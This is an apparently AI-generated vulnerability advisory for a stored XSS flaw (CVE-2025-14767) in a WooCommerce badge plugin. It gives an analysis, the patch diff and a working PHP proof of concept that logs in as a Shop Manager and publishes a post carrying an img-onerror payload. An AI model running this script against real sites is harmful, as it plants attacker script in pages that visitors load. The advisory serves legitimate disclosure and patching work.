Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 15, 2026

CVE-2025-14767: WPC Badge Management for WooCommerce <= 3.1.6 – Authenticated (Shop Manager+) Stored Cross-Site Scripting via 'text' Attribute (wpc-badge-management)

Severity Medium (CVSS 5.5)
CWE 79
Vulnerable Version 3.1.6
Patched Version 3.1.7
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14767:
This is an authenticated Stored Cross-Site Scripting vulnerability in the WPC Badge Management for WooCommerce plugin, affecting versions up to and including 3.1.6. The flaw exists in the ‘text’ attribute of the `wpcbm_best_seller` shortcode, allowing attackers with Shop Manager-level access or higher to inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 5.5 (Medium).

The root cause lies in insufficient input sanitization and output escaping within the shortcode rendering flow. In `includes/class-shortcode.php` at line 95, user-supplied text from `$attrs[‘text’]` passes through `apply_filters(‘wpcbm_shortcode_best_seller_text’, …)` without escaping. The unfiltered value is then used as the format string in `sprintf()` on line 138, where it combines attacker-controlled text with `$top` and `$term->name`. The `$top` parameter was also not cast to integer, allowing numeric mismatches. The `$term->name` and the term link lacked escaping as well, creating multiple injection points.

Exploitation occurs through WordPress’s admin panel. An attacker with Shop Manager privileges creates or edits a page or post using the `[wpcbm_best_seller]` shortcode. The ‘text’ attribute is set to a malicious JavaScript payload wrapped in HTML event handlers, such as ``. Because the plugin accepts arbitrary strings in the ‘text’ parameter without validation, the payload is stored in the database. When the shortcode is rendered on any page view, the unsanitized text is injected directly into the HTML output, executing the attacker’s script in the victim’s browser.

The patch applies multiple hardening layers. In `class-shortcode.php`, line 95 now wraps the entire filtered output with `esc_html()`, ensuring the ‘text’ value is HTML-encoded before being used in `sprintf()`. Line 138 casts `$top` to integer `(int) $top` and adds `esc_url()` to the term link and `esc_html()` to the term name. These changes prevent HTML injection from both primary and secondary sources. The version string is bumped to 3.1.7, and two lines in the admin settings files remove stale commented-out code that had no security impact.

Successful exploitation leads to persistent arbitrary JavaScript execution in the context of any user viewing the compromised page. An attacker can steal session cookies, perform destructive admin actions on behalf of the victim, redirect users to malicious sites, or deploy further attacks against WordPress installations. Since the payload is stored and triggers on page load, it can infect multiple users over time without repeated direct interaction from the attacker.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpc-badge-management/includes/class-shortcode.php
+++ b/wpc-badge-management/includes/class-shortcode.php
@@ -95,7 +95,7 @@
 				$product = wc_get_product( $attrs['id'] );
 			}

-			$text       = apply_filters( 'wpcbm_shortcode_best_seller_text', $attrs['text'] );
+			$text       = esc_html( apply_filters( 'wpcbm_shortcode_best_seller_text', $attrs['text'] ) );
 			$taxonomies = apply_filters( 'wpcbm_shortcode_best_seller_taxonomies', [
 				'product_cat',
 				'product_tag',
@@ -138,7 +138,7 @@
 								$query->the_post();

 								if ( get_the_ID() === $product_id ) {
-									$output = sprintf( $text, $top, '<a href="' . get_term_link( $term->term_id, $attrs['in'] ) . '">' . $term->name . '</a>' );
+									$output = sprintf( $text, (int) $top, '<a href="' . esc_url( get_term_link( $term->term_id, $attrs['in'] ) ) . '">' . esc_html( $term->name ) . '</a>' );
 									break;
 								}

--- a/wpc-badge-management/wpc-badge-management.php
+++ b/wpc-badge-management/wpc-badge-management.php
@@ -3,7 +3,7 @@
 Plugin Name: WPC Badge Management for WooCommerce
 Plugin URI: https://wpclever.net/
 Description: WPC Badge Management is a powerful plugin that simplifies badge management in online shops.
-Version: 3.1.6
+Version: 3.1.7
 Author: WPClever
 Author URI: https://wpclever.net
 Text Domain: wpc-badge-management
@@ -12,14 +12,14 @@
 Requires at least: 4.0
 Tested up to: 6.9
 WC requires at least: 3.0
-WC tested up to: 10.6
+WC tested up to: 10.7
 License: GPLv2 or later
 License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

 defined( 'ABSPATH' ) || exit;

-! defined( 'WPCBM_VERSION' ) && define( 'WPCBM_VERSION', '3.1.6' );
+! defined( 'WPCBM_VERSION' ) && define( 'WPCBM_VERSION', '3.1.7' );
 ! defined( 'WPCBM_LITE' ) && define( 'WPCBM_LITE', __FILE__ );
 ! defined( 'WPCBM_FILE' ) && define( 'WPCBM_FILE', __FILE__ );
 ! defined( 'WPCBM_URI' ) && define( 'WPCBM_URI', plugin_dir_url( __FILE__ ) );
@@ -1431,7 +1431,7 @@
                                         <option value="outofstock" <?php selected( $apply, 'outofstock' ); ?>><?php esc_html_e( 'Out of stock', 'wpc-badge-management' ); ?></option>
                                         <option value="backorder" <?php selected( $apply, 'backorder' ); ?>><?php esc_html_e( 'On backorder', 'wpc-badge-management' ); ?></option>
                                         <?php
-                                        $taxonomies = get_object_taxonomies( 'product', 'objects' ); //$taxonomies = get_taxonomies( [ 'object_type' => [ 'product' ] ], 'objects' );
+                                        $taxonomies = get_object_taxonomies( 'product', 'objects' );

                                         foreach ( $taxonomies as $taxonomy ) {
                                             echo '<option value="' . esc_attr( $taxonomy->name ) . '" ' . ( $apply === $taxonomy->name ? 'selected' : '' ) . '>' . esc_html( $taxonomy->label ) . '</option>';
@@ -2828,7 +2828,7 @@
                                 <option value="stock" <?php selected( $apply, 'stock' ); ?>><?php esc_html_e( 'Stock quantity', 'wpc-badge-management' ); ?></option>
                                 <option value="release" <?php selected( $apply, 'release' ); ?>><?php esc_html_e( 'New release (days)', 'wpc-badge-management' ); ?></option>
                                 <?php
-                                $taxonomies = get_object_taxonomies( 'product', 'objects' ); //$taxonomies = get_taxonomies( [ 'object_type' => [ 'product' ] ], 'objects' );
+                                $taxonomies = get_object_taxonomies( 'product', 'objects' );

                                 foreach ( $taxonomies as $taxonomy ) {
                                     echo '<option value="' . esc_attr( $taxonomy->name ) . '" ' . ( $apply === $taxonomy->name ? 'selected' : '' ) . '>' . esc_html( $taxonomy->label ) . '</option>';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14767 - WPC Badge Management for WooCommerce <= 3.1.6 - Stored XSS via 'text' Attribute

/*
 * This script demonstrates stored XSS through the wpcbm_best_seller shortcode.
 * Requirements:
 *   - A WordPress admin user (or Shop Manager) with valid credentials
 *   - The target must have WPC Badge Management <= 3.1.6 installed and active
 *
 * The script creates a new page containing the vulnerable shortcode with a malicious 'text' attribute.
 */

echo "[+] Atomic Edge XSS PoC for CVE-2025-14767n";

// ============================================================
// Configuration: Change these variables for your environment
// ============================================================
$target_url = 'https://example.com';  // Base URL of the WordPress site (no trailing slash)
$username   = 'shopmanager';          // WordPress username with Shop Manager or Admin role
$password   = 'password';             // Password for the above user

// XSS payload: triggers alert on page load
$xss_payload = '<img src=x onerror=alert('XSS-CVE-2025-14767')>';

$login_url  = $target_url . '/wp-login.php';
$ajax_url   = $target_url . '/wp-admin/admin-ajax.php';
$post_url   = $target_url . '/wp-admin/post-new.php?post_type=post';

// ============================================================
// Step 1: Authenticate and get cookies + nonces
// ============================================================
echo "[+] Authenticating to {$login_url}n";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1
    ]),
    CURLOPT_HEADER => true,
    CURLOPT_NOBODY => false,
    CURLOPT_COOKIEJAR => '/tmp/cve_2025_14767_cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cve_2025_14767_cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200) {
    die("[-] Authentication failed. HTTP Status: {$http_code}n");
}
echo "[+] Logged in successfully.n";

// ============================================================
// Step 2: Get the new post page to extract wpnonce
// ============================================================
echo "[+] Fetching post creation page to obtain nonce...n";

curl_setopt_array($ch, [
    CURLOPT_URL => $post_url,
    CURLOPT_POST => false,
    CURLOPT_HEADER => true,
    CURLOPT_NOBODY => false,
    CURLOPT_RETURNTRANSFER => true
]);

$response = curl_exec($ch);
preg_match('/name="_wpnonce"[^>]+value="([^"]+)"/i', $response, $matches);
$wpnonce = $matches[1] ?? '';

if (empty($wpnonce)) {
    die("[-] Could not extract wpnonce. Check credentials/permissions.n");
}
echo "[+] Extracted wpnonce: {$wpnonce}n";

// ============================================================
// Step 3: Create a new page with the malicious shortcode
// ============================================================
echo "[+] Creating malicious page with XSS payload...n";

$post_content = '[wpcbm_best_seller text="' . addslashes($xss_payload) . '"]';

$post_data = [
    'post_title'    => 'CVE-2025-14767 Test Page',
    'post_content'  => $post_content,
    'post_status'   => 'publish',
    'post_type'     => 'post',
    '_wpnonce'      => $wpnonce
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_HEADER => true,
    CURLOPT_NOBODY => false,
    CURLOPT_RETURNTRANSFER => true
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Try to extract the new post URL from the redirect or response
preg_match('/Location: ([^rn]+)/i', $response, $loc_matches);
$new_post_url = $loc_matches[1] ?? 'unknown';

if ($http_code === 302 && $new_post_url !== 'unknown') {
    echo "[+] Page created successfully.n";
    echo "[+] Visit: {$new_post_url}n";
    echo "[+] XSS payload should execute on page load.n";
} else {
    echo "[-] Page creation might have failed. HTTP Status: {$http_code}n";
    echo "[!] Check if the post was created manually. The shortcode content is:n";
    echo htmlspecialchars($post_content) . "n";
}

curl_close($ch);
echo "[+] PoC completed.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School